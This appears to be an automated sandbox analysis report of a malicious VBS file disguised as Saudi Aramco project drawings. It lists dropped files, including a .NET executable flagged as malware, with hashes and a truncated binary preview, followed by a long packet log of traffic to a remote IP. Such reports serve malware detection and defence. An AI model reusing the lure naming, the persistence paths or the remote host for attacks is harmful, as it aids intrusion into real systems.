                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:very short file (no magic)
                                      Category:dropped
                                      Size (bytes):1
                                      Entropy (8bit):0.0
                                      Encrypted:false
                                      SSDEEP:3:U:U
                                      MD5:C4CA4238A0B923820DCC509A6F75849B
                                      SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                      SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                      SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:1

                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m134lxub.q1h.psm1

                                      Download File
                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:very short file (no magic)
                                      Category:dropped
                                      Size (bytes):1
                                      Entropy (8bit):0.0
                                      Encrypted:false
                                      SSDEEP:3:U:U
                                      MD5:C4CA4238A0B923820DCC509A6F75849B
                                      SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                      SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                      SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:1

                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wtlklodo.asi.ps1

                                      Download File
                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:very short file (no magic)
                                      Category:dropped
                                      Size (bytes):1
                                      Entropy (8bit):0.0
                                      Encrypted:false
                                      SSDEEP:3:U:U
                                      MD5:C4CA4238A0B923820DCC509A6F75849B
                                      SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                      SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                      SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:1

                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xhjhxvjm.wng.psm1

                                      Download File
                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:very short file (no magic)
                                      Category:dropped
                                      Size (bytes):1
                                      Entropy (8bit):0.0
                                      Encrypted:false
                                      SSDEEP:3:U:U
                                      MD5:C4CA4238A0B923820DCC509A6F75849B
                                      SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                      SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                      SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:1

                                      C:\Users\user\AppData\Roaming\ServiceHub.exe

                                      Download File
                                      Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                      Category:dropped
                                      Size (bytes):551936
                                      Entropy (8bit):6.972325126045724
                                      Encrypted:false
                                      SSDEEP:12288:mQIHcPTI6djx8bmtfrA3+As/I9/3MCjf:A8rIOabwTkoAUo
                                      MD5:092A9C604129484DE0CE5F2FB3C450D1
                                      SHA1:5F04C39CEEF5E86D1867092D8C08C983F4D787AD
                                      SHA-256:4B38E3C4F1F6EF163426FE9B806A426B8AFFF5BFBA414A3109D609A859DACF3B
                                      SHA-512:E0EB723974E558106E0F009198AB65E1196095F6EE646AE083188E0A97C2ED683357CF05624DC63A93BA978D27D56D3A1A9EC476AC649C21F2AFC086BF48A42E
                                      Malicious:true
                                      Antivirus:
                                      • Antivirus: Avira, Detection: 100%
                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....7................0.................. ... ....@.. ...............................7....@.....................................K.... ..2............................................................................ ............... ..H............text........ ...................... ..`.rsrc...2.... ......................@..@.reloc...............j..............@..B........................H.......,...X5......L....3..!............................................0..........(....8....(....8.....(.... ....~c...9....&8....8........E....\.......[.......@...8W.....}.... ....8.....~y...(....}.... ....~ ...9....& ....8.....(.... ....~....9....&8....*.(.... ....~;...9v...& ....8k......^.{.....~z...(....8....*.8....*.t....~{...(....~~...(....&8......8....*.t....~{...(....~~...(....&8......(....t....*B()...~....(....*....0..d....... ........8........E....5.......80....{..

                                      C:\Users\user\Documents\ServiceHub.pif

                                      Download File
                                      Process:C:\Users\user\AppData\Roaming\ServiceHub.exe
                                      File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                      Category:dropped
                                      Size (bytes):551936
                                      Entropy (8bit):6.972325126045724
                                      Encrypted:false
                                      SSDEEP:12288:mQIHcPTI6djx8bmtfrA3+As/I9/3MCjf:A8rIOabwTkoAUo
                                      MD5:092A9C604129484DE0CE5F2FB3C450D1
                                      SHA1:5F04C39CEEF5E86D1867092D8C08C983F4D787AD
                                      SHA-256:4B38E3C4F1F6EF163426FE9B806A426B8AFFF5BFBA414A3109D609A859DACF3B
                                      SHA-512:E0EB723974E558106E0F009198AB65E1196095F6EE646AE083188E0A97C2ED683357CF05624DC63A93BA978D27D56D3A1A9EC476AC649C21F2AFC086BF48A42E
                                      Malicious:true
                                      Antivirus:
                                      • Antivirus: Avira, Detection: 100%
                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....7................0.................. ... ....@.. ...............................7....@.....................................K.... ..2............................................................................ ............... ..H............text........ ...................... ..`.rsrc...2.... ......................@..@.reloc...............j..............@..B........................H.......,...X5......L....3..!............................................0..........(....8....(....8.....(.... ....~c...9....&8....8........E....\.......[.......@...8W.....}.... ....8.....~y...(....}.... ....~ ...9....& ....8.....(.... ....~....9....&8....*.(.... ....~;...9v...& ....8k......^.{.....~z...(....8....*.8....*.t....~{...(....~~...(....&8......8....*.t....~{...(....~~...(....&8......(....t....*B()...~....(....*....0..d....... ........8........E....5.......80....{..

                                      Static File Info

                                      General

                                      File type:assembler source, Unicode text, UTF-8 text, with very long lines (330), with CRLF line terminators
                                      Entropy (8bit):5.755300257597569
                                      TrID:
                                        File name:PROJECT-_SAUDI_ARAMCO_DRAWING_AND_SPECS.vbs
                                        File size:25'316 bytes
                                        MD5:954fb4244b1d939569a961ccd3b1ba26
                                        SHA1:d8f972cee06b144a6538bb89a2b6d28486ada1f2
                                        SHA256:cdd6cf1a2efa0b65dc1f2beef48867ab945d99bc0b90443d9947fc8c889d6aba
                                        SHA512:1cf84671b3bc1413c6e033c562954c9780cd8e1142a9d2b00d79f94bc2abc5b9b63313ba84dd27ddc4ceca8fa212b905d8a1671dfbe8ef76e2aed5adc37dfc9e
                                        SSDEEP:768:MZ60gZOxMlsipYnUAO5XzLofvM3TCzflTsV+xmJRwZd7Q3Zo:MZJGUsjCb1sV+xmJRwZd7QJo
                                        TLSH:98B221EF7B87D73809E32540F93823A5D61C8047667DF530BF98C5DA8FA25149AE62B0
                                        File Content Preview:' Document pages count..' (c) 2020 qiuqiu....' Called by Directory Opus to initialize the script....Function OnInit(initData)...Dim props...Set props = DOpus.FSUtil.GetShellPropertyList("System.Document.PageCount", "r").....with initData.....name

                                        File Icon

                                        Icon Hash:68d69b8f86ab9a86

                                        Network Behavior

                                        Network Port Distribution

                                        TCP Packets

                                        TimestampSource PortDest PortSource IPDest IP
                                        Jul 24, 2023 10:29:06.138159990 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.168052912 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.171260118 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.172569036 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.226602077 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.226654053 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.226701021 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.226735115 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.226737976 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.226802111 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.256259918 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.256334066 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.256366968 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.256393909 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.256418943 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.256441116 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.256443977 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.256469011 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.256474972 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.256489992 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.256500006 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.256536961 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.286067009 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.286173105 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.286222935 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.286273956 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.286317110 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.286324024 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.286354065 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.286379099 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.286458015 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.286514044 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.286525965 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.286561012 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.286566973 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.286607981 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.286654949 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.286705017 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.286708117 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.286758900 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.286811113 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.286835909 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.286859035 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.286870956 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.286907911 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.287278891 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.316458941 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.316526890 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.316567898 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.316598892 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.316612005 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.316680908 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.317286015 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.317348003 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.317403078 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.317416906 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.317456961 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.317507982 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.317565918 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.317568064 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.317620993 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.317641973 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.317673922 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.317725897 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.317735910 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.317765951 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.317809105 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.317821980 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.317847013 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.317886114 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.317935944 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.317954063 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.317986965 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.318006992 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.318041086 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.318087101 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.318095922 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.318125963 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.318165064 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.318196058 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.318219900 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.318227053 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.318249941 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.318270922 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.318303108 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.318352938 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.318392038 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.318427086 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.318428993 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.318444967 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.318469048 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.318583012 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.346098900 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.346160889 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.346208096 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.346251011 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.346276045 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.346303940 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.346349001 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.346349955 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.346389055 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.346427917 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.346462011 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.346492052 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.347755909 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.347805023 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.347846985 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.347872019 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.347892046 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.347944975 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.348592997 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.348644972 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.348689079 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.348717928 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.348737955 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.348826885 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.348871946 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.348910093 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.348915100 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.348938942 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.348956108 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.349024057 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.349050999 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.349093914 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.349134922 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.349169016 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.349175930 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.349227905 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.349267960 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.349278927 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.349308968 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.349317074 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.349349976 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.349391937 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.349432945 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.349438906 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.349474907 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.349483013 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.349514961 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.349579096 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.349652052 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.349711895 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.349769115 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.349821091 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.349826097 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.349870920 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.349910975 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.349926949 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.349982977 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.349989891 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.350049019 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.350102901 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.350153923 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.350159883 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.350204945 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.350228071 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.351731062 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.351809025 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.351861000 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.351906061 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.351947069 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.351988077 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.351995945 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.352029085 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.352037907 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.352072001 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.352113008 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.352168083 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.375940084 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.376007080 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.376032114 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.376055956 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.376101017 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.376152039 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.376204014 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.376255989 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.376274109 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.376312971 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.376353979 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.376426935 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.377048969 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.377110958 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.377114058 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.377192020 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.377248049 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.377283096 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.377923965 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.377959967 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.378053904 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.378103018 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.378148079 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.378163099 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.378448009 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.378495932 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.378556013 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.378698111 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.378736019 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.378773928 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.378918886 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.378957987 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.379007101 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.379112005 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.379178047 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.379192114 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.379234076 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.379298925 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.379360914 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.379586935 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.379631042 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.379664898 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.379683971 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.379714012 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.380207062 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.380249977 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.380312920 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.380312920 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.380354881 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.380395889 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.380405903 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.380439043 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.380480051 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.380520105 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.380534887 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.380559921 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.380575895 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.380600929 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.380641937 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.380678892 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.380711079 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.380723000 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.380738020 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.381269932 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.381377935 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.381422043 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.381448030 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.381464958 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.381481886 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.381728888 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.381772995 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.381813049 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.381813049 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.381851912 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.381856918 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.405736923 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.405816078 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.405889988 CEST8049717212.192.219.52192.168.2.5
                                        Jul 24, 2023 10:29:06.405925989 CEST4971780192.168.2.5212.192.219.52
                                        Jul 24, 2023 10:29:06.405961990 CEST8049717212.192.219.52192.168.2.5
